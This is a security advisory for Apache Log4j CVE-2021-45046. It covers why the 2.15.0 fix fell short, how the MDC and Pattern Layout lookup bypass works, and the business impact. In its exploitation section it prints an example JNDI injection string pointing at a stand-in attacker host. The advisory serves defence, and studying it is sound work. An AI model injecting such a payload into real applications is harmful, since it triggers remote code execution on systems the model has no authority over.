Apache Log4j 2 Remote Code Execution and Information Disclosure Vulnerability (CVE-2021-45046) Security Advisory

1. Vulnerability Overview & Root Cause

This vulnerability arises because the initial fix for CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete under certain non-default configurations. Log4j 2.15.0 attempted to restrict JNDI connections to localhost by default, but this restriction could be bypassed. Specifically, when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (e.g., $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC), an attacker who controls the Thread Context Map (MDC) input data can craft malicious payloads using JNDI Lookup patterns (CWE-917).

2. Exploitation Mechanics & Attack Scenario

An attacker injects a malicious JNDI lookup string (such as ${jndi:ldap://attacker.com/a}) into an input field (like HTTP headers or form inputs) that the application subsequently writes to the Mapped Diagnostic Context (MDC). When the application logs this data, the Pattern Layout parser evaluates the MDC value and triggers a JNDI lookup to the attacker-controlled LDAP/RMI directory service. This bypasses the 2.15.0 restrictions, allowing the application to fetch and execute arbitrary serialized Java objects or reference addresses, leading to remote code execution (RCE) in some environments and local code execution/information disclosure in all environments.

3. Infrastructure & Business Impact

This vulnerability is listed in the CISA KEV (Known Exploited Vulnerabilities) catalog and carries an EPSS score of 0.9998, indicating extremely high active exploitation in the wild. Successful exploitation allows unauthenticated remote attackers to gain full system-level privileges on the server running the vulnerable application. This can lead to complete infrastructure compromise, lateral movement, sensitive data exfiltration, ransomware deployment, and severe business disruption.